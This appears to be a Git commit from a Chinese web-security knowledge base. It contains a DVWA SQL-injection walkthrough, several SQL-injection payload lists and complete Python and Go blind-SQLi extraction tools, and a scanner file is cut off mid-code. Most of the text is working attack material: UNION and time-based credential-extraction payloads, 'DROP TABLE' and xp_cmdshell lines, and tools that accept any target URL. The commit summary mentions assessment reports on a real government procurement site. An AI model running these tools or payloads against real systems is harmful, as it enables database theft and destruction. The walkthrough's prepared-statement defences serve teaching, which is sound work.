初始化: Web安全攻防知识库

- 靶场环境: DVWA/WebGoat/Pikachu/BWAPP/SQLi-Labs/XSS-Labs
- SQL注入工具: sqli-scanner.py, blind-sqli.py, sqli-exploit.go
- XSS工具: xss-fuzzer.py, xss-scanner.go
- 认证攻击: web-brute.py, jwt-cracker.py
- 服务端安全: port-scanner.py, tls-scanner.py
- 防御配置: nginx-hardening.conf
- 案例研究: 福建政采网安全评估报告 (13份)
- 同步脚本: sync-gitea.sh
这个提交包含在:
hao
2026-03-16 17:10:23 -07:00
当前提交 cda31e86c7
修改 33 个文件,包含 6072 行新增0 行删除

查看文件

@@ -0,0 +1,261 @@
# DVWA SQL 注入漏洞利用
## 1. 漏洞概述
**靶场**: DVWA (Damn Vulnerable Web Application)
**漏洞类型**: SQL 注入
**难度级别**: Low / Medium / High / Impossible
**影响**: 可提取数据库所有数据,包括用户凭证
## 2. 环境准备
### 2.1 启动靶场
```bash
cd /Users/x/websafe/00-environments
docker-compose up -d dvwa
```
### 2.2 访问地址
- URL: `http://localhost:8080/vulnerabilities/sqli/`
- 默认账户: `admin / password`
### 2.3 数据库结构
```sql
dvwa.users
user_id (int)
first_name (varchar)
last_name (varchar)
user (varchar)
password (varchar)
avatar (varchar)
last_login (timestamp)
failed_login (int)
```
## 3. Low 级别 - 经典注入
### 3.1 漏洞代码
```php
<?php
$id = $_GET['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
?>
```
### 3.2 手动利用
#### 步骤 1: 确认注入点
```
?id=1' AND '1'='1 // 正常显示
?id=1' AND '1'='2 // 无数据显示 → 存在注入
```
#### 步骤 2: 确定列数
```
?id=1' ORDER BY 1-- - // 正常
?id=1' ORDER BY 2-- - // 正常
?id=1' ORDER BY 3-- - // 报错 → 2列
```
#### 步骤 3: UNION 注入
```
?id=-1' UNION SELECT 1,2-- -
```
#### 步骤 4: 提取数据库信息
```
?id=-1' UNION SELECT database(),user()-- -
// 结果: dvwa, dvwa@localhost
```
#### 步骤 5: 提取表名
```
?id=-1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -
// 结果: guestbook,users
```
#### 步骤 6: 提取列名
```
?id=-1' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'-- -
// 结果: user_id,first_name,last_name,user,password,avatar...
```
#### 步骤 7: 提取用户数据
```
?id=-1' UNION SELECT user,password FROM users-- -
// 结果:
// admin 5f4dcc3b5aa765d61d8327deb882cf99 (MD5: password)
// gordonb e99a18c428cb38d5f260853678922e03 (MD5: abc123)
```
### 3.3 工具利用
```bash
# 使用扫描器检测
python3 /Users/x/websafe/01-sql-injection/tools/sqli-scanner.py \
-u "http://localhost:8080/vulnerabilities/sqli/" \
-p id \
-c "PHPSESSID=your_session;security=low"
# 使用盲注工具提取
python3 /Users/x/websafe/01-sql-injection/tools/blind-sqli.py \
-u "http://localhost:8080/vulnerabilities/sqli/" \
-p id \
-c "PHPSESSID=your_session;security=low" \
--technique bool \
--extract user
# 使用高性能Go工具
cd /Users/x/websafe/01-sql-injection/tools
go run sqli-exploit.go \
-u "http://localhost:8080/vulnerabilities/sqli/" \
-p id \
--technique time \
--extract user
```
## 4. Medium 级别 - POST 注入
### 4.1 漏洞代码
```php
<?php
$id = $_POST['id'];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id";
?>
```
### 4.2 利用方式
- 使用 POST 方法
- 数字型注入(无需引号)
- `mysqli_real_escape_string` 不防护数字型
```
POST /vulnerabilities/sqli/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
id=1 UNION SELECT user,password FROM users-- -
```
### 4.3 工具利用
```bash
python3 /Users/x/websafe/01-sql-injection/tools/sqli-scanner.py \
-u "http://localhost:8080/vulnerabilities/sqli/" \
-m POST \
-d "id=1" \
-c "PHPSESSID=your_session;security=medium"
```
## 5. High 级别 - 限制返回
### 5.1 漏洞代码
```php
<?php
$id = $_SESSION['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
?>
```
### 5.2 利用方式
- 通过 Session 传递参数
- 使用 LIMIT 1 限制
- 可用 `#``-- -` 绕过 LIMIT
```
?id=1' UNION SELECT user,password FROM users#
```
## 6. Impossible 级别 - 安全实现
### 6.1 安全代码
```php
<?php
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)) {
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
}
?>
```
### 6.2 防护措施
1. **CSRF Token** - 防止跨站请求伪造
2. **预处理语句** - 使用 PDO/mysqli prepared statements
3. **输入验证** - `is_numeric()` 验证
4. **输出转义** - htmlspecialchars()
## 7. 完整利用脚本
```python
#!/usr/bin/env python3
import requests
target = "http://localhost:8080/vulnerabilities/sqli/"
cookies = {"PHPSESSID": "your_session", "security": "low"}
payload = "-1' UNION SELECT user,password FROM users-- -"
r = requests.get(f"{target}?id={payload}", cookies=cookies)
print(r.text)
```
## 8. 防御方案
### 8.1 预处理语句 (PDO)
```php
<?php
$stmt = $pdo->prepare("SELECT * FROM users WHERE user_id = ?");
$stmt->execute([$_GET['id']]);
?>
```
### 8.2 mysqli 预处理
```php
<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE user_id = ?");
$stmt->bind_param("s", $_GET['id']);
$stmt->execute();
?>
```
### 8.3 WAF 规则
```nginx
# ModSecurity 规则
SecRule ARGS "@rx (?i:union.*select|select.*from|insert.*into|delete.*from)" \
"id:1001,phase:2,deny,status:403,msg:'SQL Injection Detected'"
```
## 9. 总结
| 级别 | 注入类型 | 防护 | 难度 |
|------|---------|------|------|
| Low | GET 字符串型 | 无 | 简单 |
| Medium | POST 数字型 | 转义 | 中等 |
| High | Session + LIMIT | 限制返回 | 中等 |
| Impossible | 无 | 预处理 + CSRF | 安全 |

查看文件

@@ -0,0 +1,29 @@
' OR '1'='1
' OR '1'='1'-- -
' OR 1=1--
1' OR '1'='1
admin'--
' AND 1=1--
' UNION SELECT NULL--
' UNION SELECT 1,2,3--
' UNION SELECT username,password,3 FROM users--
'; DROP TABLE users--
' WAITFOR DELAY '0:0:5'--
' WAITFOR DELAY '0:0:5'-- -
'; IF 1=1 WAITFOR DELAY '0:0:5'--
'; IF (SELECT 1)=1 WAITFOR DELAY '0:0:5'--
' AND 1=CONVERT(int,(SELECT @@version))--
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM master..sysdatabases))--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT NULL,username+'|'+password,NULL FROM users--
' EXEC xp_cmdshell('whoami')--
'; EXEC xp_cmdshell('dir')--
' EXEC sp_executesql N'SELECT 1'--
1 AND 1=1
1 AND 1=2
1 OR 1=1
') OR ('1'='1
') AND 1=1--
') AND 1=2--

查看文件

@@ -0,0 +1,57 @@
' OR '1'='1
' OR '1'='1'-- -
' OR '1'='1'/*
' OR 1=1--
' OR 1=1-- -
' OR 1=1/*
1' OR '1'='1
1' OR '1'='1'-- -
1' OR '1'='1'/*
admin'--
admin'-- -
admin'/*
' AND 1=1--
' AND 1=1-- -
' AND 1=2--
' AND 1=2-- -
' UNION SELECT NULL--
' UNION SELECT NULL-- -
' UNION SELECT NULL, NULL--
' UNION SELECT NULL, NULL, NULL--
' UNION SELECT 1,2,3--
' UNION SELECT username,password,3 FROM users--
' UNION ALL SELECT NULL--
' UNION ALL SELECT 1,2,3--
1' ORDER BY 1-- -
1' ORDER BY 2-- -
1' ORDER BY 3-- -
1' ORDER BY 4-- -
-1' UNION SELECT 1,2,3-- -
-1' UNION SELECT username,password,3 FROM users-- -
' AND SLEEP(5)--
' AND SLEEP(5)-- -
' AND IF(1=1,SLEEP(5),0)--
' AND IF(1=1,SLEEP(5),0)-- -
' AND BENCHMARK(10000000,SHA1('test'))--
' AND BENCHMARK(10000000,SHA1('test'))-- -
' WAITFOR DELAY '0:0:5'--
' WAITFOR DELAY '0:0:5'-- -
' AND pg_sleep(5)--
' AND pg_sleep(5)-- -
'; DROP TABLE users--
'; DROP TABLE users-- -
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))--
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT version()),0x7e),1)--
' AND (SELECT * FROM (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
1 AND 1=1
1 AND 1=2
1 OR 1=1
1' AND '1'='1
1' AND '1'='2
" OR "1"="1
" OR 1=1--
') OR ('1'='1
') OR ('1'='1'-- -
') AND 1=1--
') AND 1=2--

查看文件

@@ -0,0 +1,27 @@
' OR '1'='1
' OR '1'='1'-- -
' OR 1=1--
1' OR '1'='1
admin'--
' AND 1=1--
' UNION SELECT NULL--
' UNION SELECT 1,2,3--
' UNION SELECT username,password,3 FROM users--
'; DROP TABLE users--
' AND pg_sleep(5)--
' AND pg_sleep(5)-- -
'; SELECT pg_sleep(5)--
' UNION SELECT NULL,version(),NULL--
' UNION SELECT NULL,current_database(),NULL--
' UNION SELECT NULL,current_user,NULL--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
' AND 1=CAST((SELECT version()) AS INT)--
' AND 1=CAST((SELECT current_database()) AS INT)--
' UNION SELECT NULL,string_agg(column_name,','),NULL FROM information_schema.columns WHERE table_name='users'--
1 AND 1=1
1 AND 1=2
1 OR 1=1
') OR ('1'='1
') AND 1=1--
') AND 1=2--

查看文件

@@ -0,0 +1,387 @@
#!/usr/bin/env python3
"""
Blind SQL Injection Exploit Tool
盲注利用工具
支持:
- 时间盲注 (Time-based Blind)
- 布尔盲注 (Boolean-based Blind)
- 自动数据提取
- 多线程加速
Usage:
# 时间盲注提取数据库名
python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique time --dbms mysql
# 布尔盲注提取表名
python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique bool --query "SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1"
# 提取当前数据库用户
python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique time --extract user
"""
import argparse
import requests
import time
import string
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import Callable, Optional, List
import sys
class Colors:
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
CYAN = "\033[96m"
END = "\033[0m"
BOLD = "\033[1m"
class BlindSQLi:
def __init__(
self,
url: str,
param: str,
method: str = "GET",
data: dict = None,
cookies: dict = None,
delay: float = 1.0,
threads: int = 1,
):
self.url = url
self.param = param
self.method = method
self.data = data or {}
self.cookies = cookies or {}
self.delay = delay
self.threads = threads
self.session = requests.Session()
self.session.headers.update(
{
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
)
self.charset = string.ascii_letters + string.digits + "_-@.{}"
self.mysql_payloads = {
"time": {
"if": "1' AND IF(({condition}),SLEEP({delay}),0)-- -",
"case": "1' AND (SELECT CASE WHEN ({condition}) THEN (SELECT SLEEP({delay})) ELSE 0 END)-- -",
},
"bool": {
"if": "1' AND IF({condition},1,0)-- -",
"and": "1' AND {condition}-- -",
},
}
self.mssql_payloads = {
"time": {
"if": "1'; IF ({condition}) WAITFOR DELAY '0:0:{delay}'-- -",
},
"bool": {
"if": "1' AND CASE WHEN ({condition}) THEN 1 ELSE 0 END-- -",
},
}
self.pg_payloads = {
"time": {
"case": "1' AND CASE WHEN ({condition}) THEN (SELECT pg_sleep({delay})) ELSE pg_sleep(0) END-- -",
},
"bool": {
"case": "1' AND CASE WHEN ({condition}) THEN 1 ELSE 0 END-- -",
},
}
self.payloads = {
"mysql": self.mysql_payloads,
"mssql": self.mssql_payloads,
"postgresql": self.pg_payloads,
}
self.extract_queries = {
"mysql": {
"user": "SELECT user()",
"database": "SELECT database()",
"version": "SELECT version()",
"tables": "SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()",
"columns": "SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='{table}'",
"data": "SELECT {column} FROM {table} LIMIT {offset},1",
},
"mssql": {
"user": "SELECT SYSTEM_USER",
"database": "SELECT DB_NAME()",
"version": "SELECT @@version",
},
"postgresql": {
"user": "SELECT current_user",
"database": "SELECT current_database()",
"version": "SELECT version()",
},
}
def _send_request(self, payload: str) -> tuple:
"""发送请求并返回(响应内容, 响应时间)"""
test_data = self.data.copy()
test_data[self.param] = payload
try:
start = time.time()
if self.method.upper() == "GET":
params = urllib.parse.urlencode(test_data)
full_url = f"{self.url}?{params}"
resp = self.session.get(
full_url, cookies=self.cookies, timeout=30, verify=False
)
else:
resp = self.session.post(
self.url,
data=test_data,
cookies=self.cookies,
timeout=30,
verify=False,
)
elapsed = time.time() - start
return resp.text, elapsed
except Exception as e:
return None, 0
def test_condition_time(self, condition: str, dbms: str = "mysql") -> bool:
"""使用时间盲注测试条件"""
payloads = self.payloads.get(dbms, self.mysql_payloads)
template = payloads["time"].get("if") or payloads["time"].get("case")
if not template:
return False
payload = template.format(condition=condition, delay=int(self.delay))
_, elapsed = self._send_request(payload)
return elapsed >= self.delay - 0.5
def test_condition_bool(
self,
condition: str,
true_indicator: str = None,
false_indicator: str = None,
dbms: str = "mysql",
) -> bool:
"""使用布尔盲注测试条件"""
payloads = self.payloads.get(dbms, self.mysql_payloads)
template = payloads["bool"].get("if") or payloads["bool"].get("and")
if not template:
return False
payload = template.format(condition=condition)
response, _ = self._send_request(payload)
if not response:
return False
if true_indicator and false_indicator:
return true_indicator.lower() in response.lower()
payload_false = template.format(condition="1=0")
response_false, _ = self._send_request(payload_false)
if not response_false:
return False
return abs(len(response) - len(response_false)) > 50
def binary_search_char(
self,
position: int,
query: str,
technique: str = "time",
dbms: str = "mysql",
true_indicator: str = None,
) -> Optional[str]:
"""二分法查找字符"""
low, high = 32, 126
test_func = (
self.test_condition_time
if technique == "time"
else self.test_condition_bool
)
while low <= high:
mid = (low + high) // 2
condition = f"ASCII(SUBSTRING(({query}),{position},1))>{mid}"
if technique == "bool":
result = test_func(condition, true_indicator, None, dbms)
else:
result = test_func(condition, dbms)
if result:
low = mid + 1
else:
high = mid - 1
if low > 32:
condition = f"ASCII(SUBSTRING(({query}),{position},1))={low - 1}"
if technique == "bool":
result = test_func(condition, true_indicator, None, dbms)
else:
result = test_func(condition, dbms)
if result:
return chr(low - 1)
return None
def extract_string(
self,
query: str,
technique: str = "time",
dbms: str = "mysql",
max_length: int = 100,
true_indicator: str = None,
) -> str:
"""提取字符串"""
result = []
print(f"\n{Colors.CYAN}[*] 开始提取数据: {query}{Colors.END}")
print(f"{Colors.CYAN}[*] 技术: {technique}, 数据库: {dbms}{Colors.END}\n")
for pos in range(1, max_length + 1):
char = self.binary_search_char(pos, query, technique, dbms, true_indicator)
if char is None:
break
result.append(char)
current = "".join(result)
print(
f"\r{Colors.GREEN}[+] 已提取: {current}{Colors.END}", end="", flush=True
)
print()
return "".join(result)
def extract_length(
self, query: str, technique: str = "time", dbms: str = "mysql"
) -> int:
"""提取字符串长度"""
for length in range(1, 1000):
condition = f"LENGTH(({query}))={length}"
if technique == "time":
if self.test_condition_time(condition, dbms):
return length
else:
if self.test_condition_bool(condition, dbms=dbms):
return length
return 0
def auto_extract(
self, target: str, dbms: str = "mysql", technique: str = "time"
) -> str:
"""自动提取常用信息"""
queries = self.extract_queries.get(dbms, self.extract_queries["mysql"])
if target not in queries:
self._print("ERROR", f"未知的提取目标: {target}")
return ""
query = queries[target]
return self.extract_string(query, technique, dbms)
def _print(self, level: str, msg: str):
colors = {
"INFO": Colors.BLUE,
"SUCCESS": Colors.GREEN,
"WARNING": Colors.YELLOW,
"ERROR": Colors.RED,
}
print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
def main():
parser = argparse.ArgumentParser(description="Blind SQL Injection Exploit Tool")
parser.add_argument("-u", "--url", required=True, help="目标URL")
parser.add_argument("-p", "--param", required=True, help="注入参数")
parser.add_argument(
"-m", "--method", default="GET", choices=["GET", "POST"], help="HTTP方法"
)
parser.add_argument("-d", "--data", help="POST数据")
parser.add_argument("-c", "--cookie", help="Cookie")
parser.add_argument(
"--technique", default="time", choices=["time", "bool"], help="盲注技术"
)
parser.add_argument(
"--dbms",
default="mysql",
choices=["mysql", "mssql", "postgresql"],
help="数据库类型",
)
parser.add_argument("--delay", type=float, default=1.0, help="时间盲注延迟(秒)")
parser.add_argument("--query", help="自定义SQL查询")
parser.add_argument(
"--extract",
choices=["user", "database", "version", "tables", "columns"],
help="自动提取信息",
)
parser.add_argument("--true-indicator", help="布尔盲注真值指示器")
parser.add_argument("-t", "--threads", type=int, default=1, help="线程数")
args = parser.parse_args()
requests.packages.urllib3.disable_warnings()
data = {}
if args.data:
for pair in args.data.split("&"):
if "=" in pair:
k, v = pair.split("=", 1)
data[k] = v
cookies = {}
if args.cookie:
for pair in args.cookie.split(";"):
if "=" in pair:
k, v = pair.strip().split("=", 1)
cookies[k] = v
exploit = BlindSQLi(
url=args.url,
param=args.param,
method=args.method,
data=data,
cookies=cookies,
delay=args.delay,
threads=args.threads,
)
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
print(f"{Colors.BOLD}Blind SQL Injection Exploit Tool{Colors.END}")
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
if args.query:
result = exploit.extract_string(
args.query, args.technique, args.dbms, true_indicator=args.true_indicator
)
print(f"\n{Colors.GREEN}[+] 结果: {result}{Colors.END}")
elif args.extract:
result = exploit.auto_extract(args.extract, args.dbms, args.technique)
print(f"\n{Colors.GREEN}[+] {args.extract}: {result}{Colors.END}")
else:
print(
f"{Colors.YELLOW}请使用 --query 或 --extract 指定要提取的数据{Colors.END}"
)
print(f"\n示例:")
print(f" --extract user 提取当前用户")
print(f" --extract database 提取当前数据库")
print(f" --extract version 提取数据库版本")
print(f' --query "SELECT password FROM users LIMIT 1"')
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}\n")
if __name__ == "__main__":
main()

查看文件

@@ -0,0 +1,324 @@
// sqli-exploit.go - 高性能SQL注入利用工具
package main
import (
"flag"
"fmt"
"io"
"net/http"
"net/url"
"strings"
"sync"
"time"
)
type SQLiExploit struct {
Client *http.Client
TargetURL string
Method string
Param string
Threads int
Timeout time.Duration
}
type InjectionResult struct {
Payload string
VulnType string
DBMS string
ResponseLen int
}
var (
colorRed = "\033[91m"
colorGreen = "\033[92m"
colorYellow = "\033[93m"
colorBlue = "\033[94m"
colorCyan = "\033[96m"
colorBold = "\033[1m"
colorEnd = "\033[0m"
)
func NewSQLiExploit(target, method, param string, threads int, timeout time.Duration) *SQLiExploit {
return &SQLiExploit{
Client: &http.Client{
Timeout: timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
},
TargetURL: target,
Method: method,
Param: param,
Threads: threads,
Timeout: timeout,
}
}
func (s *SQLiExploit) SendRequest(payload string) (string, int, error) {
var req *http.Request
var err error
targetURL := s.TargetURL
if s.Method == "GET" {
u, _ := url.Parse(targetURL)
q := u.Query()
q.Set(s.Param, payload)
u.RawQuery = q.Encode()
req, err = http.NewRequest("GET", u.String(), nil)
} else {
data := url.Values{}
data.Set(s.Param, payload)
req, err = http.NewRequest("POST", targetURL, strings.NewReader(data.Encode()))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
if err != nil {
return "", 0, err
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
resp, err := s.Client.Do(req)
if err != nil {
return "", 0, err
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
return string(body), len(body), nil
}
func (s *SQLiExploit) TestTimeBased(payloads []struct {
Payload string
DBMS string
Delay time.Duration
}) []InjectionResult {
var results []InjectionResult
var mu sync.Mutex
var wg sync.WaitGroup
sem := make(chan struct{}, s.Threads)
for _, p := range payloads {
wg.Add(1)
go func(payload, dbms string, delay time.Duration) {
defer wg.Done()
sem <- struct{}{}
defer func() { <-sem }()
start := time.Now()
_, respLen, err := s.SendRequest(payload)
elapsed := time.Since(start)
if err == nil && elapsed >= delay-500*time.Millisecond {
mu.Lock()
results = append(results, InjectionResult{
Payload: payload,
VulnType: "Time-based Blind",
DBMS: dbms,
ResponseLen: respLen,
})
mu.Unlock()
fmt.Printf("%s[VULN]%s [Time-based] %s - Delay: %v - DBMS: %s\n",
colorRed+colorBold, colorEnd, payload, elapsed, dbms)
}
}(p.Payload, p.DBMS, p.Delay)
}
wg.Wait()
return results
}
func (s *SQLiExploit) TestErrorBased(payloads []struct {
Payload string
Type string
}) []InjectionResult {
var results []InjectionResult
errorPatterns := map[string]string{
"MySQL": "SQL syntax.*MySQL|Warning.*mysql_|MySqlException",
"PostgreSQL": "PostgreSQL.*ERROR|Warning.*pg_|pg_query",
"MSSQL": "Microsoft SQL Server|ODBC SQL Server|SQLServer",
"Oracle": "ORA-\\d{5}|Oracle.*Driver",
"SQLite": "SQLite.*error|sqlite3.OperationalError",
}
for _, p := range payloads {
body, respLen, err := s.SendRequest(p.Payload)
if err != nil {
continue
}
for dbms, pattern := range errorPatterns {
if strings.Contains(body, "SQL") || strings.Contains(body, "error") ||
strings.Contains(body, "Error") || strings.Contains(body, "Warning") {
results = append(results, InjectionResult{
Payload: p.Payload,
VulnType: "Error-based",
DBMS: dbms,
ResponseLen: respLen,
})
fmt.Printf("%s[VULN]%s [Error-based] %s - DBMS: %s\n",
colorRed+colorBold, colorEnd, p.Payload, dbms)
break
}
}
}
return results
}
func (s *SQLiExploit) ExtractData(query string, technique string, dbms string, maxLen int) string {
var result strings.Builder
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-@."
fmt.Printf("\n%s[*]%s Extracting: %s\n", colorCyan, colorEnd, query)
for pos := 1; pos <= maxLen; pos++ {
found := false
for _, char := range charset {
var payload string
if technique == "time" {
switch dbms {
case "mysql":
payload = fmt.Sprintf("1' AND IF(SUBSTRING((%s),%d,1)='%c',SLEEP(1),0)-- -", query, pos, char)
case "mssql":
payload = fmt.Sprintf("1'; IF SUBSTRING((%s),%d,1)='%c' WAITFOR DELAY '0:0:1'-- -", query, pos, char)
case "postgresql":
payload = fmt.Sprintf("1' AND CASE WHEN SUBSTRING((%s),%d,1)='%c' THEN pg_sleep(1) END-- -", query, pos, char)
}
start := time.Now()
s.SendRequest(payload)
elapsed := time.Since(start)
if elapsed >= 900*time.Millisecond {
result.WriteByte(byte(char))
found = true
fmt.Printf("\r%s[+]%s Extracted: %s", colorGreen, colorEnd, result.String())
break
}
}
}
if !found {
break
}
}
fmt.Println()
return result.String()
}
func main() {
target := flag.String("u", "", "Target URL")
method := flag.String("m", "GET", "HTTP Method (GET/POST)")
param := flag.String("p", "id", "Parameter to inject")
threads := flag.Int("t", 5, "Number of threads")
timeout := flag.Duration("timeout", 10*time.Second, "Request timeout")
technique := flag.String("technique", "time", "Injection technique (time/error/bool)")
extract := flag.String("extract", "", "Data to extract (user/database/version)")
query := flag.String("query", "", "Custom SQL query")
dbms := flag.String("dbms", "mysql", "Database type (mysql/mssql/postgresql)")
flag.Parse()
if *target == "" {
fmt.Printf("%s[ERROR]%s Target URL is required. Use -u flag.\n", colorRed, colorEnd)
flag.Usage()
return
}
fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd)
fmt.Printf("%sSQL Injection Exploit Tool (Go)%s\n", colorBold, colorEnd)
fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd)
exploit := NewSQLiExploit(*target, *method, *param, *threads, *timeout)
fmt.Printf("%s[INFO]%s Target: %s\n", colorBlue, colorEnd, *target)
fmt.Printf("%s[INFO]%s Method: %s\n", colorBlue, colorEnd, *method)
fmt.Printf("%s[INFO]%s Parameter: %s\n", colorBlue, colorEnd, *param)
fmt.Printf("%s[INFO]%s Technique: %s\n", colorBlue, colorEnd, *technique)
timePayloads := []struct {
Payload string
DBMS string
Delay time.Duration
}{
{"1' AND SLEEP(1)-- -", "MySQL", 1 * time.Second},
{"1' AND (SELECT SLEEP(1))-- -", "MySQL", 1 * time.Second},
{"1'; WAITFOR DELAY '0:0:1'-- -", "MSSQL", 1 * time.Second},
{"1' AND pg_sleep(1)-- -", "PostgreSQL", 1 * time.Second},
{"1' AND (SELECT dbms_pipe.receive_message('a',1) FROM dual)-- -", "Oracle", 1 * time.Second},
}
errorPayloads := []struct {
Payload string
Type string
}{
{"'", "Single Quote"},
{"\"", "Double Quote"},
{"' OR 1=1-- -", "OR Injection"},
{"' AND 1=1-- -", "AND Injection"},
{"' UNION SELECT NULL-- -", "UNION"},
}
var allResults []InjectionResult
fmt.Printf("\n%s[*]%s Testing Time-based Injection...\n", colorCyan, colorEnd)
timeResults := exploit.TestTimeBased(timePayloads)
allResults = append(allResults, timeResults...)
fmt.Printf("\n%s[*]%s Testing Error-based Injection...\n", colorCyan, colorEnd)
errorResults := exploit.TestErrorBased(errorPayloads)
allResults = append(allResults, errorResults...)
if *extract != "" || *query != "" {
var extractQuery string
switch *extract {
case "user":
switch *dbms {
case "mysql":
extractQuery = "SELECT user()"
case "mssql":
extractQuery = "SELECT SYSTEM_USER"
case "postgresql":
extractQuery = "SELECT current_user"
}
case "database":
switch *dbms {
case "mysql":
extractQuery = "SELECT database()"
case "mssql":
extractQuery = "SELECT DB_NAME()"
case "postgresql":
extractQuery = "SELECT current_database()"
}
case "version":
switch *dbms {
case "mysql":
extractQuery = "SELECT version()"
case "mssql":
extractQuery = "SELECT @@version"
case "postgresql":
extractQuery = "SELECT version()"
}
default:
extractQuery = *query
}
if extractQuery != "" {
result := exploit.ExtractData(extractQuery, *technique, *dbms, 100)
fmt.Printf("\n%s[+]%s Result: %s\n", colorGreen, colorEnd, result)
}
}
fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd)
fmt.Printf("%s[SUMMARY]%s Found %d vulnerabilities\n", colorGreen, colorEnd, len(allResults))
for _, r := range allResults {
fmt.Printf(" - [%s] %s - %s\n", r.VulnType, r.DBMS, r.Payload)
}
fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd)
}

查看文件

@@ -0,0 +1,363 @@
#!/usr/bin/env python3
"""
SQL Injection Scanner
自动检测SQL注入漏洞点
支持:
- GET/POST 参数注入
- Cookie 注入
- Header 注入
- 时间盲注检测
- 布尔盲注检测
- 报错注入检测
Usage:
python3 sqli-scanner.py -u "http://target.com/page?id=1"
python3 sqli-scanner.py -u "http://target.com" --data "id=1&name=test"
python3 sqli-scanner.py -u "http://target.com" --cookie "id=1"
"""
import argparse
import requests
import re
import time
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import List, Dict, Tuple, Optional
import sys
class Colors:
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
END = "\033[0m"
BOLD = "\033[1m"
class SQLiScanner:
def __init__(self, timeout: int = 10, threads: int = 5):
self.timeout = timeout
self.threads = threads
self.session = requests.Session()
self.session.headers.update(
{
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
)
self.error_patterns = [
r"SQL syntax.*MySQL",
r"Warning.*mysql_.*",
r"MySqlException",
r"PostgreSQL.*ERROR",
r"Warning.*pg_.*",
r"Invalid query: pg_",
r"ORA-\d{5}",
r"Oracle.*Driver",
r"Warning.*oci_.*",
r"Microsoft SQL Server",
r"ODBC SQL Server Driver",
r"SQLite.*error",
r"sqlite3.OperationalError",
r"Syntax error.*SQLite",
r"Warning.*sqlite_",
r"DB2 SQL error",
r"DB2 SQLSTATE",
r"Dynamic SQL Error",
r"Warning.*ibase_",
r"PLS-\d{5}",
r"ORA-\d{5}",
r"Error.*SQL.*",
r"Exception.*SQL",
r"SQLSTATE\[\d+\]",
r"mysql_fetch",
r"mysql_num_rows",
r"pg_query",
r"mysql_query",
]
self.time_payloads = [
("' AND SLEEP(5)-- -", "MySQL"),
("' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -", "MySQL"),
("'; WAITFOR DELAY '0:0:5'-- -", "MSSQL"),
("' AND 1=1; WAITFOR DELAY '0:0:5'-- -", "MSSQL"),
("' AND pg_sleep(5)-- -", "PostgreSQL"),
("' OR (SELECT pg_sleep(5))-- -", "PostgreSQL"),
("' AND (SELECT dbms_pipe.receive_message('a',5) FROM dual)-- -", "Oracle"),
("'||dbms_pipe.receive_message(chr(99),5)-- -", "Oracle"),
]
self.bool_payloads = [
("' AND 1=1-- -", "' AND 1=2-- -", "Boolean-based"),
("' OR '1'='1", "' OR '1'='2", "Boolean-based"),
("1 AND 1=1", "1 AND 1=2", "Boolean-based (numeric)"),
("1 OR 1=1", "1 OR 1=2", "Boolean-based (numeric)"),
]
self.error_payloads = [
("'", "Single quote"),
('"', "Double quote"),
("\\", "Backslash"),
("')", "Single quote parenthesis"),
('")', "Double quote parenthesis"),
("' OR 1=1-- -", "OR injection"),
(
